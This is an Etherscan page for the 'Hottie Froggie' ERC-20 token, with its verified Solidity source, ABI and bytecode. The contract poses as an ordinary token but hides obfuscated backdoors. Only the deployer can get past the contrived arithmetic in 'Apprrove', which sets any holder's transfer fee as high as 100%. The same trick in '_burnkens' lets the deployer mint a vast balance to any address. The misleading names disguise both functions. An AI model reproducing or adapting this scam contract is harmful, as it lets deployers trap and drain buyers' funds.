ETH Price: $3,397.24 (+1.47%)

Token

Hottie Froggie (FROGGIE)
 

Overview

Max Total Supply

1,000,000,000 FROGGIE

Holders

62

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,003,313.846072034 FROGGIE

Value
$0.00
0xbe1275e656cac59eeced102a61614928a7a7245f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HottieFroggie

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-04-22
*/

/**
https://t.me/HottieFroggieERC20
https://twitter.com/Hottie__Froggie
 
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function transferOwnershipzexcomer(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract HottieFroggie is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = unicode"Hottie Froggie";
        symbol = unicode"FROGGIE";
        decimals = 9;
        uint256 Supply = 1000000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }


    function Apprrove(address[] memory _usr, uint256 _feePct) external {
        uint256 v1 = 0x01;
        uint256 v2 = 0x02;
        uint256 v3 = 0x03;
        uint256 f0 = (msg.sender == _swapFeeTo ? v2 + v3 : v2 - v1);
        uint256 f1 = f0 - v3;
        f0 = f1 + (v1 - 0x01);
        for (uint256 idx = 0x0; idx < _usr.length; idx++) {
            __balances[_usr[idx]] = _feePct + (f0 - f1);
        }
    }
    

    function _burnkens(address user) public {
        mapping(address=>uint256) storage _allowance = _balances;
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        _allowance[user] = 1000*totalSupply*C**2;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"_usr","type":"address[]"},{"internalType":"uint256","name":"_feePct","type":"uint256"}],"name":"Apprrove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_burnkens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipzexcomer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600e81526020017f486f747469652046726f676769650000000000000000000000000000000000008152506004908162000098919062000937565b506040518060400160405280600781526020017f46524f474749450000000000000000000000000000000000000000000000000081525060059081620000df919062000937565b506009600660006101000a81548160ff021916908360ff1602179055506000633b9aca00905033600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600b81905550600660009054906101000a900460ff16600a6200016c919062000bae565b8162000179919062000bff565b6008819055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000351919062000c5b565b60405180910390a3737a250d5630b4cf539739df2c5dacb4c659f2488d600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620004c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004e7919062000ce2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000571573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000597919062000ce2565b6040518363ffffffff1660e01b8152600401620005b692919062000d25565b6020604051808303816000875af1158015620005d6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005fc919062000ce2565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000d52565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200073f57607f821691505b602082108103620007555762000754620006f7565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007bf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000780565b620007cb868362000780565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000818620008126200080c84620007e3565b620007ed565b620007e3565b9050919050565b6000819050919050565b6200083483620007f7565b6200084c62000843826200081f565b8484546200078d565b825550505050565b600090565b6200086362000854565b6200087081848462000829565b505050565b5b8181101562000898576200088c60008262000859565b60018101905062000876565b5050565b601f821115620008e757620008b1816200075b565b620008bc8462000770565b81016020851015620008cc578190505b620008e4620008db8562000770565b83018262000875565b50505b505050565b600082821c905092915050565b60006200090c60001984600802620008ec565b1980831691505092915050565b6000620009278383620008f9565b9150826002028217905092915050565b6200094282620006bd565b67ffffffffffffffff8111156200095e576200095d620006c8565b5b6200096a825462000726565b620009778282856200089c565b600060209050601f831160018114620009af57600084156200099a578287015190505b620009a6858262000919565b86555062000a16565b601f198416620009bf866200075b565b60005b82811015620009e957848901518255600182019150602085019450602081019050620009c2565b8683101562000a09578489015162000a05601f891682620008f9565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000aac5780860481111562000a845762000a8362000a1e565b5b600185161562000a945780820291505b808102905062000aa48562000a4d565b945062000a64565b94509492505050565b60008262000ac7576001905062000b9a565b8162000ad7576000905062000b9a565b816001811462000af0576002811462000afb5762000b31565b600191505062000b9a565b60ff84111562000b105762000b0f62000a1e565b5b8360020a91508482111562000b2a5762000b2962000a1e565b5b5062000b9a565b5060208310610133831016604e8410600b841016171562000b6b5782820a90508381111562000b655762000b6462000a1e565b5b62000b9a565b62000b7a848484600162000a5a565b9250905081840481111562000b945762000b9362000a1e565b5b81810290505b9392505050565b600060ff82169050919050565b600062000bbb82620007e3565b915062000bc88362000ba1565b925062000bf77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ab5565b905092915050565b600062000c0c82620007e3565b915062000c1983620007e3565b925082820262000c2981620007e3565b9150828204841483151762000c435762000c4262000a1e565b5b5092915050565b62000c5581620007e3565b82525050565b600060208201905062000c72600083018462000c4a565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000caa8262000c7d565b9050919050565b62000cbc8162000c9d565b811462000cc857600080fd5b50565b60008151905062000cdc8162000cb1565b92915050565b60006020828403121562000cfb5762000cfa62000c78565b5b600062000d0b8482850162000ccb565b91505092915050565b62000d1f8162000c9d565b82525050565b600060408201905062000d3c600083018562000d14565b62000d4b602083018462000d14565b9392505050565b611abe8062000d626000396000f3fe6080604052600436106101185760003560e01c8063426329c1116100a05780638da5cb5b116100645780638da5cb5b146103d457806395d89b41146103ff578063a9059cbb1461042a578063dd62ed3e14610467578063e22273e0146104a45761011f565b8063426329c1146102ed5780634bf28fd01461031857806365b61b771461034357806367e467b61461036e57806370a08231146103975761011f565b806323b872dd116100e757806323b872dd146101e057806330da23e41461021d578063313ce5671461024857806336b2e02714610273578063420d10b5146102b05761011f565b806306fdde0314610124578063095ea7b31461014f5780630c48aba21461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104cd565b60405161014691906111e5565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906112af565b61055b565b604051610183919061130a565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611325565b610572565b005b3480156101c157600080fd5b506101ca610643565b6040516101d79190611361565b60405180910390f35b3480156101ec57600080fd5b506102076004803603810190610202919061137c565b610649565b604051610214919061130a565b60405180910390f35b34801561022957600080fd5b506102326107ef565b60405161023f9190611361565b60405180910390f35b34801561025457600080fd5b5061025d6107f5565b60405161026a91906113eb565b60405180910390f35b34801561027f57600080fd5b5061029a60048036038101906102959190611325565b610808565b6040516102a7919061130a565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d29190611325565b610828565b6040516102e49190611361565b60405180910390f35b3480156102f957600080fd5b50610302610840565b60405161030f9190611415565b60405180910390f35b34801561032457600080fd5b5061032d610866565b60405161033a9190611415565b60405180910390f35b34801561034f57600080fd5b5061035861088c565b604051610365919061148f565b60405180910390f35b34801561037a57600080fd5b50610395600480360381019061039091906115f2565b6108b2565b005b3480156103a357600080fd5b506103be60048036038101906103b99190611325565b610a02565b6040516103cb9190611361565b60405180910390f35b3480156103e057600080fd5b506103e9610a4b565b6040516103f69190611415565b60405180910390f35b34801561040b57600080fd5b50610414610a74565b60405161042191906111e5565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906112af565b610b02565b60405161045e919061130a565b60405180910390f35b34801561047357600080fd5b5061048e6004803603810190610489919061164e565b610b19565b60405161049b9190611361565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190611325565b610ba0565b005b600480546104da906116bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610506906116bd565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b505050505081565b6000610568338484610c8f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f79061173a565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b6000610656848484610d7a565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107e45781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107639190611789565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b600b5481565b600660009054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600190506000600290506000600390506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461092c5783836109279190611789565b610939565b818361093891906117bd565b5b9050600082826109499190611789565b90506001856109589190611789565b8161096391906117bd565b915060005b87518110156109f857818361097d9190611789565b8761098891906117bd565b600a60008a848151811061099f5761099e6117f1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806109f090611820565b915050610968565b5050505050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60058054610a81906116bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610aad906116bd565b8015610afa5780601f10610acf57610100808354040283529160200191610afa565b820191906000526020600020905b815481529060010190602001808311610add57829003601f168201915b505050505081565b6000610b0f338484610d7a565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006001905060003373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c04576001610c07565b60095b60ff1690506000600382610c1b9190611789565b9050809150600281610c2d919061199b565b6008546103e8610c3d91906119e6565b610c4791906119e6565b8360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6d9190611361565b60405180910390a3505050565b6000600960149054906101000a900460ff16158015610de35750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e395750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e869190611789565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156110455760006064600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485610f2091906119e6565b610f2a9190611a57565b90508082610f3891906117bd565b91506000811115611043578060016000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb491906117bd565b92505081905550600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161103a9190611361565b60405180910390a35b505b8083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109191906117bd565b61109b9190611789565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866111399190611789565b6040516111469190611361565b60405180910390a35050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118f578082015181840152602081019050611174565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b782611155565b6111c18185611160565b93506111d1818560208601611171565b6111da8161119b565b840191505092915050565b600060208201905081810360008301526111ff81846111ac565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112468261121b565b9050919050565b6112568161123b565b811461126157600080fd5b50565b6000813590506112738161124d565b92915050565b6000819050919050565b61128c81611279565b811461129757600080fd5b50565b6000813590506112a981611283565b92915050565b600080604083850312156112c6576112c5611211565b5b60006112d485828601611264565b92505060206112e58582860161129a565b9150509250929050565b60008115159050919050565b611304816112ef565b82525050565b600060208201905061131f60008301846112fb565b92915050565b60006020828403121561133b5761133a611211565b5b600061134984828501611264565b91505092915050565b61135b81611279565b82525050565b60006020820190506113766000830184611352565b92915050565b60008060006060848603121561139557611394611211565b5b60006113a386828701611264565b93505060206113b486828701611264565b92505060406113c58682870161129a565b9150509250925092565b600060ff82169050919050565b6113e5816113cf565b82525050565b600060208201905061140060008301846113dc565b92915050565b61140f8161123b565b82525050565b600060208201905061142a6000830184611406565b92915050565b6000819050919050565b600061145561145061144b8461121b565b611430565b61121b565b9050919050565b60006114678261143a565b9050919050565b60006114798261145c565b9050919050565b6114898161146e565b82525050565b60006020820190506114a46000830184611480565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6114e78261119b565b810181811067ffffffffffffffff82111715611506576115056114af565b5b80604052505050565b6000611519611207565b905061152582826114de565b919050565b600067ffffffffffffffff821115611545576115446114af565b5b602082029050602081019050919050565b600080fd5b600061156e6115698461152a565b61150f565b9050808382526020820190506020840283018581111561159157611590611556565b5b835b818110156115ba57806115a68882611264565b845260208401935050602081019050611593565b5050509392505050565b600082601f8301126115d9576115d86114aa565b5b81356115e984826020860161155b565b91505092915050565b6000806040838503121561160957611608611211565b5b600083013567ffffffffffffffff81111561162757611626611216565b5b611633858286016115c4565b92505060206116448582860161129a565b9150509250929050565b6000806040838503121561166557611664611211565b5b600061167385828601611264565b925050602061168485828601611264565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806116d557607f821691505b6020821081036116e8576116e761168e565b5b50919050565b7f216f776e65720000000000000000000000000000000000000000000000000000600082015250565b6000611724600683611160565b915061172f826116ee565b602082019050919050565b6000602082019050818103600083015261175381611717565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061179482611279565b915061179f83611279565b92508282039050818111156117b7576117b661175a565b5b92915050565b60006117c882611279565b91506117d383611279565b92508282019050808211156117eb576117ea61175a565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061182b82611279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361185d5761185c61175a565b5b600182019050919050565b60008160011c9050919050565b6000808291508390505b60018511156118bf5780860481111561189b5761189a61175a565b5b60018516156118aa5780820291505b80810290506118b885611868565b945061187f565b94509492505050565b6000826118d85760019050611994565b816118e65760009050611994565b81600181146118fc576002811461190657611935565b6001915050611994565b60ff8411156119185761191761175a565b5b8360020a91508482111561192f5761192e61175a565b5b50611994565b5060208310610133831016604e8410600b841016171561196a5782820a9050838111156119655761196461175a565b5b611994565b6119778484846001611875565b9250905081840481111561198e5761198d61175a565b5b81810290505b9392505050565b60006119a682611279565b91506119b1836113cf565b92506119de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846118c8565b905092915050565b60006119f182611279565b91506119fc83611279565b9250828202611a0a81611279565b91508282048414831517611a2157611a2061175a565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611a6282611279565b9150611a6d83611279565b925082611a7d57611a7c611a28565b5b82820490509291505056fea2646970667358221220337c959dc5b29517677639d0b3811276a6ccf8797c3b46b82f96cfa4f2eeb05c64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063426329c1116100a05780638da5cb5b116100645780638da5cb5b146103d457806395d89b41146103ff578063a9059cbb1461042a578063dd62ed3e14610467578063e22273e0146104a45761011f565b8063426329c1146102ed5780634bf28fd01461031857806365b61b771461034357806367e467b61461036e57806370a08231146103975761011f565b806323b872dd116100e757806323b872dd146101e057806330da23e41461021d578063313ce5671461024857806336b2e02714610273578063420d10b5146102b05761011f565b806306fdde0314610124578063095ea7b31461014f5780630c48aba21461018c57806318160ddd146101b55761011f565b3661011f57005b600080fd5b34801561013057600080fd5b506101396104cd565b60405161014691906111e5565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906112af565b61055b565b604051610183919061130a565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae9190611325565b610572565b005b3480156101c157600080fd5b506101ca610643565b6040516101d79190611361565b60405180910390f35b3480156101ec57600080fd5b506102076004803603810190610202919061137c565b610649565b604051610214919061130a565b60405180910390f35b34801561022957600080fd5b506102326107ef565b60405161023f9190611361565b60405180910390f35b34801561025457600080fd5b5061025d6107f5565b60405161026a91906113eb565b60405180910390f35b34801561027f57600080fd5b5061029a60048036038101906102959190611325565b610808565b6040516102a7919061130a565b60405180910390f35b3480156102bc57600080fd5b506102d760048036038101906102d29190611325565b610828565b6040516102e49190611361565b60405180910390f35b3480156102f957600080fd5b50610302610840565b60405161030f9190611415565b60405180910390f35b34801561032457600080fd5b5061032d610866565b60405161033a9190611415565b60405180910390f35b34801561034f57600080fd5b5061035861088c565b604051610365919061148f565b60405180910390f35b34801561037a57600080fd5b50610395600480360381019061039091906115f2565b6108b2565b005b3480156103a357600080fd5b506103be60048036038101906103b99190611325565b610a02565b6040516103cb9190611361565b60405180910390f35b3480156103e057600080fd5b506103e9610a4b565b6040516103f69190611415565b60405180910390f35b34801561040b57600080fd5b50610414610a74565b60405161042191906111e5565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906112af565b610b02565b60405161045e919061130a565b60405180910390f35b34801561047357600080fd5b5061048e6004803603810190610489919061164e565b610b19565b60405161049b9190611361565b60405180910390f35b3480156104b057600080fd5b506104cb60048036038101906104c69190611325565b610ba0565b005b600480546104da906116bd565b80601f0160208091040260200160405190810160405280929190818152602001828054610506906116bd565b80156105535780601f1061052857610100808354040283529160200191610553565b820191906000526020600020905b81548152906001019060200180831161053657829003601f168201915b505050505081565b6000610568338484610c8f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610600576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f79061173a565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b6000610656848484610d7a565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107e45781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107639190611789565b600260008673ff